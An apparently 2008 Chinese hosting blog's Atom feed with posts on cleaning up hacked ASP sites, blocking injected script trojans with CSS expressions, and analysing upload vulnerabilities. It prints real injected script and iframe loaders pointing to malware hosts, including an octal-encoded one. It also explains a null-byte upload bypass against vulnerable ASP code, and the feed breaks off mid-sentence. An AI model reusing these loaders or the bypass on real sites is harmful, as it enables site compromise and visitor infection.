<?xml version="1.0" encoding="UTF-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  <title type="html"><![CDATA[Google AdWords + SEO]]></title>
  <subtitle type="html"><![CDATA[创造机会的人是勇者；等待机会的人是愚者！只有全力以赴，梦想才能飞！]]></subtitle>
  <id>http://www.6353.com.cn/</id> 
  <link rel="alternate" type="text/html" href="http://www.6353.com.cn/" /> 
  <link rel="self" type="application/atom+xml" href="http://www.6353.com.cn/atom.asp" /> 
  <generator uri="http://www.pjhome.net/" version="2.4.1022">PJBlog2</generator> 
  <updated>2008-11-16T09:54:23+08:00</updated> 

  <entry>
	  <title type="html"><![CDATA[网站被上传木马(网站被黑)如何处理]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.6353.com.cn/</uri>
		 <email>210016@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.6353.com.cn/default.asp?cateID=5" label="Asp" /> 
	  <updated>2008-11-16T09:54:23+08:00</updated>
	  <published>2008-11-16T09:54:23+08:00</published>
		  <summary type="html"><![CDATA[&nbsp;&nbsp;有时会收到一些客户反映网站被黑，或被上传木马，当用户访问网站时就会下载病毒或者木马，杀毒软件弹出病毒的提示。这种情况是以下2种情况导致的。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;第一种情况：客户网站存在文件上传漏洞。导致黑客可以使用这漏洞，上传黑客文件。然后黑客可以对该用户网站所有文件进行任意修改，这种情况比较普遍。针对这种情况，用户需要找技术人员，检查出网站漏洞并彻底修复，并检查看网站是否还有黑客隐藏的恶意文件。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;原因：很多网站都需要使用到文件上传功能，例如很多网站需要发布产品图片等。<br/>文件上传功能本来应该具有严格的限定，例如：只允许用户只能上传JPG、GIF等图片。但由于程序开发人员考虑不严谨，或者直接是调用一些通用的文件上传组件， 导致没对文件上传进行严格的检查。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;处理：处理关键是要用户自己知道自己网站哪些地方使用到了文件上传功能。重点针对这个文件上传功能进行检查，同时针对网站所有文件进行检查，排查可疑信息。同时也利用网站日志，对文件被修改时间进行检查。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1) 查到哪个文件被加入代码: 用户要查看自己网页代码.根据被加入代码的位置，确定到底是哪个页面被黑，一般黑客会去修改数据库连接文件或网站顶部/底部文件， 因为这样修改后用户网站所有页面都会被附加代码。<br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2) 查到被篡改文件后，使用Ftp查看文件最后被修改时间，例如 Ftp里面查看到conn.asp文件被黑，最后修改时间是 2008-8-22 10:34 分, 那么可以确定在 2008-8-22日10:34 分这个时间，有黑客使用他留下的黑客后门，篡改了你的conn.asp这个文件。到底是哪个文件？ 可以使用网站日志查出来。使用FTP登陆您的网站空间，Weblog文件夹即为网站日志，并且以日期作为文件名称。下载ex080822.log.gz这个文件。 由于日志记录和真实时间有8小时时间差, 所以您要检查的时间是 2:34分 左右. 以下是一个日志记录案例.<br/><br/>2008-02-22 02:34:16 W3SVC23 211.155.230.227 GET /favicon.ico<br/>2008-02-22 02:34:29 W3SVC23 211.155.230.227 GET /favicon.ico<br/>2008-02-22 02:34:29 W3SVC23 211.155.230.227 POST /news/uppic/569853.asp<br/>2008-02-22 02:36:03 W3SVC23 211.155.230.227 GET /prod_Detail.asp id=59<br/>2008-02-22 02:38:56 W3SVC23 211.155.230.227 GET /prod_detail.asp id=63<br/><br/>用户可以根据日志判定 /news/uppic/569853.asp 这个文件 应该是黑客上传的文件。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3) 再重复 2) 步. 查看569853.asp文件修改时间,再查出到底是哪个文件 导致上传了569853.asp 这个文件，查看到569853.asp 文件修改时间是2008-08-21 06:32分，找到有问题的文件。结果追查到有问题的文件是 uploadPic.inc.asp。 <br/>2008-08-20 22:57:37 W3SVC23 211.155.230.227 GET /prod_ListCategory.asp cid=18 <br/>2008-08-20 22:58:03 W3SVC23 211.155.230.227 POST /news/admin/uploadPic.inc.asp<br/>2008-08-20 22:08:43 W3SVC23 211.155.230.227 GET /uploadpic/nike.jpg <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4) 就这样循环.最后可以查出是哪个文件有文件上传漏洞，要修复这些文件上传漏洞，彻底检查网站代码，彻底删除黑客其他隐藏的黑客文件。<br/>注意：<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1) 很多用户网站被黑后，只是将被串改的文件修正过来，或重新上传， 这样是没多大作用。如果网站不修复漏洞.黑客可以很快再次利用这漏洞，对用户网站再次入侵。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2) 网站漏洞的检查和修复需要一定的技术人员才能处理，用户需要先做好文件的备份。<br/><br/>第二种情况：<br/><br/>用户本地机器中毒了。修改了用户自己本地的网页文件。然后用户自己将这些网页文件上传到服务器空间上了。这种情况比较少。如是这种情况用户要先彻底检查自己网站。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1. 病毒特征<br/>这种病毒一般是搜索本地磁盘的文件，在网页文件的源代码中插入一段带有病毒的代码，而一般最常见的方式是插入一个 iframe或script ，然后将这个 iframe 或script的 src 属性指向到一个带有病毒的网址。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2. 如何检测<br/>1）浏览网站，右键查看源代码，在源代码里搜索 iframe ，看看有没有被插入了一些不是自己网站的页面，如果有，一般就是恶意代码。<br/>2） 也是右键查看源代码，搜索 &#34;script&#34; 这个关键字，看看有没有被插入一些不是自己域名下的的脚本，如果有，并且不是自己放上去的，那很可能也有问题。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.如何杀毒？<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;１)有些人会说用查毒程序查过本地没有发现病毒，这就要看看本地的网站文件是否带有这些恶意代码，如果有，那基本上可以肯定你的机器是曾经中过毒的，这些病毒可能不是常驻内存的，并且有可能执行一次之后就将自己删除，所以用查毒程序查不出来是很正常的。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;２).就算这些病毒是常驻内存，杀毒程序也可能查不出来，因为这种病毒的原理很简单，其实就是执行一下文件磁盘扫描，找到那些网页文件（如 asp php html）等格式的文件，然后打开它插入一段代码，然后再保存一下。因为它修改的不是什么系统文件，病毒防火墙一般不会发出警告，如果它不是挂在一些系统进程里，而是在某个特定的时刻运行一下就退出，这样被查出的可能性更少。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; ３)手工删除这些病毒的一般方法：<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a. 调出任务管理器，看看有没有一些不知名的程序在运行，如果有，用windows的文件查找功能找到这个文件，右键查看属性，如果这个可执行文件的摘要属性没有任何信息，而自己又不知道是什么东西，那很可能有问题，然后上google搜索一个这个文件的信息，看看网上的资料显示是不是就是病毒，如果是就先将其改名。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b. 打开注册表编辑器，查看一下 <br/>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run<br/>有没有一可疑的启动项，有的话就删除。<br/>&nbsp;&nbsp;&nbsp;&nbsp; c. 查看本地机器的 windows 控制面板，看看“任务计划”那里有没有一些不是自己定义的任务，如果有查看属性，找到这个任务所执行的可执行文件是哪个，重复前面步骤 a 的方法进行查杀。<br/>（通过BAIDU、GOOGLE，可以获得更多关于此类病毒的查杀方法）<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4. 中毒的常见原因：<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;一般是因为上了一些烂网站，这些网站有木马，然后机器就中毒了，我们的服务器一般不会中毒的，因为我们的服务器的安全策略已经禁止访问互联网，而且我们工作人员也不可能在服务器上访问乱七八糟的网站，中毒的可能性很少。<br/>至于说其它客户上传了一些有问题的程序然后令服务器中毒也是不成立的，因为普通的客户的IIS进程是没有权限修改其它客户的网站的。<br/><br/> <br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.6353.com.cn/default.asp?id=256" /> 
	  <id>http://www.6353.com.cn/default.asp?id=256</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[主机10重保护]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.6353.com.cn/</uri>
		 <email>210016@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.6353.com.cn/default.asp?cateID=5" label="Asp" /> 
	  <updated>2008-11-15T19:42:31+08:00</updated>
	  <published>2008-11-15T19:42:31+08:00</published>
		  <summary type="html"><![CDATA[<table cellspacing="0" cellpadding="5" width="95%" border="0">
    <tbody>
        <tr>
            <td width="100%"><fieldset><legend><img height="13" src="http://www.west263.com/images/Title_2_1.gif" width="39" alt="" /></legend><strong><span class="14pxfont"><font color="#ff3300">Stream开关设置</font></span></strong><a href="http://www.west263.com/photo/secs/secsetup.gif" target="_blank"></a><br />　　ASP中的ADODB.Stream 对象用来操作二进制或文本数据的流。通常用于无组件上传和验证码等功能。关闭该组件可以提高网站安全。<a href="http://www.west263.com/photo/secs/secsetup.gif" target="_blank"></a> </fieldset> </td>
        </tr>
        <tr>
            <td><fieldset><legend><img height="13" src="http://www.west263.com/images/Title_2_2.gif" width="39" alt="" /></legend><strong><span class="14pxfont"><font color="#ff3300">Fso开关设置</font></span></strong><a href="http://www.west263.com/photo/secs/secsetup.gif" target="_blank"></a><br />　　FSO(FileSystemObject)是微软ASP的一个对文件操作的控件，该控件可以对服务器进行读取、新建、修改、删除目录以及文件的操作。关闭该组件有利于提高网站安全。 </fieldset></td>
        </tr>
        <tr>
            <td><fieldset><legend><img height="13" src="http://www.west263.com/images/Title_2_3.gif" width="39" alt="" /></legend><strong><span class="14pxfont"><font color="#ff3300">Ftp权限设置</font></span></strong><a href="http://www.west263.com/photo/secs/secsetup.gif" target="_blank"></a><br />　　如果你的网站建好后，今后一段时间都不会再用到ftp上传功能，您可以暂时关闭FTP上传。这有助于提高网站的安全，即使ftp密码泄露，黑客也不能操作你空间内的文件。同时系统支持设置拒绝所有IP，只允许某些IP登录。进一步提高安全性。</fieldset></td>
        </tr>
        <tr>
            <td><fieldset><legend><img height="13" src="http://www.west263.com/images/Title_2_4.gif" width="39" alt="" /></legend><strong><span class="14pxfont"><font color="#ff3300">脚本权限设置</font></span></strong><a href="http://www.west263.com/photo/secs/secsetup.gif" target="_blank"></a><br />　　您可以设置您的网站支持哪些网站脚本，如果您的网站只使用了asp，您可以设置为只开放asp权限。这样黑客即使上传了php的木马到您的空间也不能运行！最少的权限＝最大的安全！<a href="http://www.west263.com/photo/secs/secsetup.gif" target="_blank"></a> </fieldset></td>
        </tr>
        <tr>
            <td><fieldset><legend><img height="13" src="http://www.west263.com/images/Title_2_5.gif" width="39" alt="" /></legend><strong><span class="14pxfont"><font color="#ff3300">写入权限设置</font></span></strong><a href="http://www.west263.com/photo/secs/writeonly.gif" target="_blank"></a><br />　　本系统支持全国领先的目录权限设置，允许关闭网站的写入权限，锁定虚拟主机。对安全有重要意义，例如可以将access数据库放在databases目录，而将wwwroot目录的写入 权限关闭，令asp木马根本无法上传，这样比关闭FSO更安全。<a href="http://www.west263.com/photo/secs/writeonly.gif" target="_blank"></a> </fieldset></td>
        </tr>
        <tr>
            <td><fieldset><legend><img height="13" src="http://www.west263.com/images/Title_2_6.gif" width="39" alt="" /></legend><strong><span class="14pxfont"><font color="#ff3300">IP 限制</font></span></strong><a href="http://www.west263.com/photo/secs/ipsec.gif" target="_blank"></a><br />　　您可以明确拒绝或授权某些IP地址对您网站的访问。 对某些重要的子目录，如论坛的后台管理目录/admin/您可以设置为所有人拒绝访问，只允许您自己的ip访问.这样即使黑客知道了你论坛的超级管理密码，也无法对你的论坛进行管理和破坏！ <a href="http://www.west263.com/photo/secs/ipsec.gif" target="_blank"></a></fieldset></td>
        </tr>
        <tr>
            <td><fieldset><legend><img height="13" src="http://www.west263.com/images/Title_2_7.gif" width="39" alt="" /></legend><strong><span class="14pxfont"><font color="#ff3300">文件保护</font></span></strong><a href="http://www.west263.com/photo/secs/fileprotec.gif" target="_blank"></a><br />　　您可以设置您要保护的文件，当文件被保护之后，该文件将无法从web访问。您可以使用该功能来保护您的重要文件的安全性，比如ACCESS数据库等。 </fieldset></td>
        </tr>
        <tr>
            <td><fieldset><legend><img height="13" src="http://www.west263.com/images/Title_2_8.gif" width="39" alt="" /></legend><strong><span class="14pxfont"><font color="#ff3300">目录保护</font></span></strong><a href="http://www.west263.com/photo/secs/dirprotec.gif" target="_blank"></a><br />　　通常用户网站被黑（如网页被篡改,文件被盗，被删等）都是因为黑客通过网站的文件上传功能将asp/php木马上传到空间并运行造成的。 　　所以在无法确认系统是否存在上传漏洞的情况下，只要保证文件上传目录没有脚本运行权限，那么即便黑客将木马上传到您的空间他也无法运行,这样就无法危及您的网站，使您网站更安全。 </fieldset></td>
        </tr>
        <tr>
            <td><fieldset><legend><img height="13" src="http://www.west263.com/images/Title_2_9.gif" width="39" alt="" /></legend><strong><span class="14pxfont"><font color="#ff3300">自动查杀病毒木马</font></span></strong><a href="http://www.west263.com/photo/killmuma.gif" target="_blank"></a><br />　　功能介绍：如果您的网站存在上传漏洞或注入漏洞，很容易被黑客上传木马，添加病毒代码。查看您的网页源代码，会发现病毒代码一般是：　<br />&lt;iframe src=http://www.haogs.cn/m.htm width=0 height=0&gt;&lt;/iframe&gt;等，而黑客通常会在您的网站里面留下后门程序，如海洋顶端asp木马，以便日后再次侵入您的网站。使用该功能，可以轻松将这些病毒木马一网打尽！ <a href="http://www.west263.com/photo/killmuma.gif" target="_blank"><img height="21" alt="ds" src="http://www.west263.com/photo/secs/seemore.gif" width="79" border="0" /></a> </fieldset></td>
        </tr>
        <tr>
            <td><fieldset><legend><img height="13" src="http://www.west263.com/images/Title_2_10.gif" width="39" alt="" /></legend><strong><span class="14pxfont"><font color="#ff3300">服务器端自动杀毒</font></span></strong><br />　　因传统杀毒软件不能有效地识别网页木马，特别是网页木马经常被加壳或制作为变种!所以我司自主开发了专门针对网页木马的杀毒软件，每天晚上自动扫描所有网站。发现木马的，对该文件自动更名;发现iframe病毒的，对病毒代码自动清除;并自动通过电子邮件通知你,让您轻松掌握您的网站情况<br />(业界独有)</fieldset></td>
        </tr>
    </tbody>
</table>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.6353.com.cn/default.asp?id=255" /> 
	  <id>http://www.6353.com.cn/default.asp?id=255</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[二行代码解决全部网页木马(含iframe/script木马） ]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.6353.com.cn/</uri>
		 <email>210016@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.6353.com.cn/default.asp?cateID=5" label="Asp" /> 
	  <updated>2008-11-15T19:29:40+08:00</updated>
	  <published>2008-11-15T19:29:40+08:00</published>
		  <summary type="html"><![CDATA[还是挂马问题，这段时间，我渐渐感到压力，头大，通过QQ或MSN加我的人越来越多，我最近自己的工作本来就忙得不亦乐乎。哎，想想，还是要抽空来来帮帮大家。<br/><br/>　　前不久《<a href="http://bbs.blueidea.com/thread-2818052-1-1.html" target="_blank">http://bbs.blueidea.com/thread-2818052-1-1.html</a>一行代码解决iframe挂马（包含服务器端注入、客户端ARP注入等）》得到了很多朋友的认可，这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了，现在流行挂&lt;script&gt;木马，汗了，看了几个网友的网站都被这样了——页面的顶部或底部加上了：<br/><br/>注意，以下地址含有木马，请不要轻易访问：<br/>复制内容到剪贴板<br/>代码:<br/>&lt;script src=http://%76%63%63%64%2E%63%6E&gt;&lt;/script&gt;<br/>&lt;script src=http://%76%63%63%64%2E%63%6E&gt;&lt;/script&gt;<br/>&lt;script src=http://%76%63%63%64%2E%63%6E&gt;&lt;/script&gt;<br/>&lt;script src=http://%76%63%63%64%2E%63%6E&gt;&lt;/script&gt;<br/>&lt;script src=http://%76%63%63%64%2E%63%6E&gt;&lt;/script&gt;<br/>&lt;script src=http://%76%63%63%64%2E%63%6E&gt;&lt;/script&gt;<br/>&lt;script src=http://%76%63%63%64%2E%63%6E&gt;&lt;/script&gt;<br/>&lt;script src=http://%76%63%63%64%2E%63%6E&gt;&lt;/script&gt;<br/>汗死，一连插入了N个一样的&lt;script&gt;标记。偶的电脑什么补丁都打了，直接访问这个<a href="http://%76%63%63%64%2E%63%6E" target="_blank">http://%76%63%63%64%2E%63%6E</a>（或直接使用迅雷下载），额~　现形了：<br/>复制内容到剪贴板<br/>代码:<br/>document.write(&#34;&lt;div style=&#39;display:none&#39;&gt;&#34;)<br/>document.write(&#34;&lt;iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0&gt;&lt;/iframe&gt;&#34;)<br/>document.write(&#34;&lt;/div&gt;&#34;)<br/>又用迅雷下载<a href="http://a.158dm.com/b1.htm" target="_blank">http://a.158dm.com/b1.htm</a>这个文件，一看，乱七八糟的JS编码，汗，不过找到了一个类似QQ号的数字，直接加加看，汗，然后是专业提供网马的组织，哎，什么世道。还收费蛮高滴呢！<br/>复制内容到剪贴板<br/>代码:<br/>...<br/>var Kfqq, Qqs=&#34;<span style="color:Magenta">784378237</span>&#34;; qwfgsg=&#34;LLLL\\XXXXXLD&#34;; Kfqq = Qqs;<br/>(...略)（下面还有N个统计的JS代码）。<br/>针对上面的情况，我也不能白白瞧着不管，想想办法吧，兄弟。喝了碗绿豆粥，糖放得蛮多的，好喝。办法想到了。稍微分析就得出了答案。大家来看看，&lt;script&gt;木马的特点是什么：<br/><br/>&lt;script src=http://%76%63%63%64%2E%63%6E&gt;&lt;/script&gt;<br/><br/>对了，script木马的src一般都是外域的，也就是src是以http打头的，如果是自己网站的script一般都不用加上http；再看看木马的原形，里面还是输出的iframe、JS代码或是其他&lt;object&gt;代码，不管这么多，来多少杀多少。<br/><br/>来跟我写CSS，一一搞定它们,我写了5种不同的方案，大家来测试一下哈：<br/><br/>解决方案１：<br/>复制内容到剪贴板<br/>代码:<br/>iframe{n1ifm:e&#173;xpression(this.src=&#39;about:blank&#39;,this.outerHTML=&#39;&#39;);}/*这行代码是解决挂IFRAME木马的哦*/<br/>script{nojs1:e&#173;xpression((this.src.toLowerCase().indexOf(&#39;http&#39;)==0)?document.write(&#39;木马被成功隔离!&#39;):&#39;&#39;);}<br/>原理：将&lt;script&gt;标记的src拿出来转为小写，再看是不是以“http”开头的外域JS脚本文件，如果是，则页面内容清空并写出“木马被成功隔离!”。反之正常显示。<br/>　　　　缺点：访客无法看到被感染了&lt;script&gt;木马的页面。<br/>&nbsp;&nbsp;&nbsp;&nbsp; <br/><br/>解决方案２：<br/>复制内容到剪贴板<br/>代码:<br/>iframe{nifm2:e&#173;xpression(this.src=&#39;about:blank&#39;,this.outerHTML=&#39;&#39;);}<br/>script{no2js:e&#173;xpression((this.src.toLowerCase().indexOf(&#39;http&#39;)==0)?document.close():&#39;&#39;);}<br/>原理：将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完，只有部分被强制缓存输出了，剩下的不会再写了。<br/><br/><br/>解决方案３：<br/>复制内容到剪贴板<br/>代码:<br/>iframe{ni3fm:e&#173;xpression(this.src=&#39;about:blank&#39;,this.outerHTML=&#39;&#39;);}<br/>script{n3ojs:e&#173;xpression((this.src.toLowerCase().indexOf(&#39;http&#39;)==0)?document.execCommand(&#39;stop&#39;):&#39;&#39;);}<br/>　原理：同到外域的JS文件，立即调用IE私有的execCommand方法来停止页面所有请求，所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。<br/><br/>解决方案４：<br/>复制内容到剪贴板<br/>代码:<br/>iframe{nif4m:e&#173;xpression(this.src=&#39;about:blank&#39;,this.outerHTML=&#39;&#39;);}<br/>script{noj4s:e&#173;xpression(if(this.src.indexOf(&#39;http&#39;)==0)this.src=&#39;res://ieframe.dll/dnserror.htm&#39;);}<br/>　　　原理：将外域的JS文件的src重写成本地IE404错误页面的地址，这样，外域的JS代码不会下载。<br/><br/>解决方案5：<br/>复制内容到剪贴板<br/>代码:<br/>iframe{nifm5:e&#173;xpression(this.src=&#39;about:blank&#39;,this.outerHTML=&#39;&#39;);}<br/>script{noj5s:e&#173;xpression((this.id.toLowerCase().indexOf(&#39;lh&#39;)==0)?document.write(&#39;木马被成功隔离!&#39;):&#39;&#39;));}<br/>　　　第五种方案的页面HTML源代码&lt;script&gt;中要加入以&#34;lh&#34;为前缀的id，如lhWeatherJSapi，&lt;script src=&#34;***/**.js&#34; id=&#34;lhSearchJSapi&#34;&gt;&lt;/script&gt;　<br/><br/>以下页面代码里含有一个木马地址，而且木马在页面里重复了6次，大家分别用我上面的不同方案测试一下，看看我的研究如何！（此测试有一定的危险性，请务必打好所有补丁再测试）<br/>复制内容到剪贴板<br/>代码:<br/>&lt;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" target="_blank">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>&#34;&gt;<br/>&lt;html xmlns=&#34;<a href="http://www.w3.org/1999/xhtml" target="_blank">http://www.w3.org/1999/xhtml</a>&#34;&gt;<br/>&lt;head&gt;<br/>&lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=utf-8&#34; /&gt;<br/>&lt;title&gt;让JS木马的进程迅速中止的CSS代码&lt;/title&gt;<br/>&lt;style type=&#34;text/css&#34; id=&#34;LinrStudio&#34;&gt;<br/>/*&lt;![CDATA[*/<br/>iframe{nhk1:e&#173;xpression(this.src=&#39;about:blank&#39;,this.outerHTML=&#39;&#39;);}<br/>script{ngz1:e&#173;xpression((this.src.indexOf(&#39;http&#39;)==0)?document.close():&#39;&#39;);}<br/>/* 以后请在此关注最新木马处理方法：<a href="http://www.nihaoku.cn/ff/api.htm" target="_blank">http://www.nihaoku.cn/ff/api.htm</a> */<br/>/*]]&gt;*/<br/>&lt;/style&gt;<br/>&lt;/head&gt;<br/>&lt;body&gt;<br/>&lt;script type=&#34;text/javascript&#34; src=&#34;1.js&#34;&gt;&lt;/script&gt;<br/>&lt;script src=http://%76%63%63%64%2E%63%6E&gt;&lt;/script&gt;<br/>&lt;script src=&#34;<a href="http://%76%63%63%64%2E%63%6E" target="_blank">http://%76%63%63%64%2E%63%6E</a>&#34; type=&#34;text/javascript&#34;&gt;&lt;/script&gt;<br/>&lt;script src=http://%76%63%63%64%2E%63%6E&gt;&lt;/script&gt;<br/>我是页面本身的１<br/>&lt;script src=http://%76%63%63%64%2E%63%6E&gt;&lt;/script&gt;<br/>我是页面本身的２<br/>&lt;script src=http://%76%63%63%64%2E%63%6E&gt;&lt;/script&gt;<br/>我是页面本身的３<br/>&lt;script src=http://%76%63%63%64%2E%63%6E&gt;&lt;/script&gt;<br/>&lt;/body&gt;<br/>&lt;/html&gt; <br/>其中1.js是自己本站的：<br/>复制内容到剪贴板<br/>代码:<br/>document.write(&#34;我是本站的JS文件&#34;);<br/>document.write(&#34;&lt;img src=&#39;<a href="http://www.baidu.com/images/logo.gif" target="_blank">http://www.baidu.com/images/logo.gif</a>&#39; /&gt;&#34;);<br/>我的测试环境是：<br/>　　Windows XP SP2 和windows Vista SP1<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IE6/IE7/IE8<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;已全部打好补丁。<br/>综上所述，所有目前的挂马方式全都破解了，用CSS就可以解决所有木马问题，访客不会再轻易地中毒了。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;大家也要仔细研究一下，看看我的代码有什么BUG，有的话一定要拿出来讨论，好解决问题！或是各位有其他更好的办法可以拿出来讨论一下。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;很晚了，我要睡觉了。有空再研究。<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.6353.com.cn/default.asp?id=254" /> 
	  <id>http://www.6353.com.cn/default.asp?id=254</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[警惕ASP上传漏洞木马窥视你]]></title>
	  <author>
		 <name>admin</name>
		 <uri>http://www.6353.com.cn/</uri>
		 <email>210016@gmail.com</email>
	  </author>
	  <category term="" scheme="http://www.6353.com.cn/default.asp?cateID=5" label="Asp" /> 
	  <updated>2008-11-15T19:19:13+08:00</updated>
	  <published>2008-11-15T19:19:13+08:00</published>
		  <summary type="html"><![CDATA[<br/><br/>最近发现很多网站被挂马,而且UPLOAD文件夹里面多了一个569853.asp<br/>出于好奇对被进入的一个网站进行了研究.<br/><br/><br/><br/><br/><br/>发现一个规律<br/><br/>一般是网站上传没正确设置好SESSION或决断文件名;现在这个木马最为常用<br/><br/><br/><br/><br/>常用ASP木马文件名为:569853.asp<br/>病毒代码如下:document.writeln和下面的链上<br/>(&#34;\74\163\143\162\151\160\164\40\163\162\143\75\42\150\164\164\160\72\57\57\167\45\67\67\167\45\63\63\56\144\45\66\64\156\163\56\45\66\71\156\146\157\57\45\66\71\45\66\105\45\66\66\45\66\106\45\62\105\45\66\101\45\67\63\42\76\74\57\163\143\162\151\160\164\76&#34;);<br/>在模拟分析中发现一般被KC的网站一般存在以下几个问题<br/><br/><br/><br/><br/><br/>打开你的网站WW.XX.COM/上传页面<br/>出现 请登录后再使用本功能等 OK首先肯定存在上传漏洞<br/>你给了客户网站后台密码过于简单直接是什么admin admin888一类的,而客户没改过(--直接没话说!)<br/>存在会员功能。可以注册会员<br/>下面两点只要有一点就可以给黑客可乘之机<br/><br/><br/>现在先来说说漏洞的原理<br/><br/>一、FilePath<br/>说到FilePath,有些朋友可能会感到陌生;但要提到动网6.0的上传漏洞,大家一定都很熟悉吧?上传漏洞本质上是由于FILEPath过滤而不严引起的。虽然现在动网已不存在此漏洞,但采用此上传源码的程序还是非常多的。“万豪下载程序”ADS(广告)版块中的Upfile.asp就存在Filepath过滤不严的漏洞,下面让我们一起来分析下它的源码:<br/>&lt;%<br/>dim upload,file,formName,formPath,iCount,filename,fileExt &#39;//定义上传变量<br/>set upload=new upload_5xSoft &#39;//建立上传对象<br/>formPath=upload.form(&#34;filepath&#34;) &#39;//第一步、获取文件路径,此处是关键。<br/>if right(formPath,1)&lt;&gt;&#34;/&#34; then formPath=formPath&amp;&#34;/&#34; <br/>for each formName in upload.file &#39;//用For读取上传文件<br/>set file=upload.file(formName) &#39;//生成一个文件对象<br/>…………………… &#39;//省略部分代码<br/>fileExt=lcase(right(file.filename,4)) &#39;//从文件名中截取后4位,并转换为小写字符。<br/>if fileEXT&lt;&gt;&#34;.gif&#34; and fileEXT&lt;&gt;&#34;.jpg&#34; and fileEXT&lt;&gt;&#34;.zip&#34; and fileEXT&lt;&gt;&#34;.rar&#34; and fileEXT&lt;&gt;&#34;.swf&#34;then &#39;//文件扩展名判断<br/>response.write &#34;&lt;font size=2&gt;文件格式不正确　[ &lt;a href=# onclick=history.go(-1)&gt;重新上传&lt;/a&gt; ]&lt;/font&gt;&#34;<br/>response.end<br/>end if <br/>randomize<br/>ranNum=int(90000*rnd)+10000<br/>filename=formPath&amp;year(now)&amp;month(now)&amp;day(now)&amp;hour(now)&amp;minute(now)&amp;second(now)&amp;ranNum&amp;fileExt &#39;//第二步、filename由提交的文件路径+年月日的随机文件名+转换后的扩展名组成<br/>if file.FileSize&gt;0 then <br/>file.SaveAs Server.mappath(FileName) &#39;//保存文件<br/>end if<br/>set file=nothing<br/>next<br/>%&gt;<br/>在这段源码中,最关键的是这两句: <br/>1、formPath=upload.form(&#34;filepath&#34;) <br/>2、filename=formPath&amp;year(now)&amp;month(now)&amp;day(now)&amp;hour(now)&amp;minute(now)&amp;second(now)&amp;ranNum&amp;fileExt<br/>小知识:变量与常量:所谓变量指在程序的运行过程中随时可以发生变化的值;而常量则恰恰相反,指的是在程序的运行过程中始终保持不变的值。<br/>下面让我们来看一下漏洞是如何形成的:<br/>1. 从变量filepath中获取文件的保存路径。<br/>2. 用路径变量formPath加随机生成的数字及经过判断的扩展名合成一个新的变量,变量Filename就是上传文件保存的路径及名称。<br/>这里举例说明:我们选择“111.jpg”上传,在上传过程中,随文件一起上传的还有FilePath变量,假设其值为“image”,当这些值传到upfile.asp中,filename就变成了:“image/200512190321944973.jpg”。上传成功后,该111.jpg被保存到image文件夹内,文件名也被改成了:“200512190321944973.jpg”。这段流程看起来无懈可击,但还是被牛人研究出了突破方法。什么方法呢?很简单,突破点就在变量身上。如果将其FilePath值改为“image/aa.asp□”,其中“□”表示二进制的00(空的意思),这样,该变量提交给upfile.asp后,Filename值变成了“image/aa.asp□/200512190321944974.jpg”。服务器在读取变量时,因为“□”是二进制的00,所以它认为该变量语句已经结束,“□”后的字符自然也就被忽略了。这样一来Filename就成了:“image/aa.asp”。瞧,漏洞出现了。<br/>关于此漏洞的利用,我们可以使用桂林老兵的上传工具,或者用WinSock抓包,之后记事本保存提交数据并增加、修改相关内容。用WinHex修改空格为二进制,最后用NC提交。具体操作请参阅相关文章。<br/>二、FileName<br/>介绍过FilePath(上传路径)过滤不严的漏洞,再来看一看FileName(上传文件名)过滤不严造成的漏洞,上传文件名过滤不严的形式是多种多样的,这里介绍两种:<br/>1、动易文章<br/>我们来看一下它的上传文件“Upfile_Article.asp”中的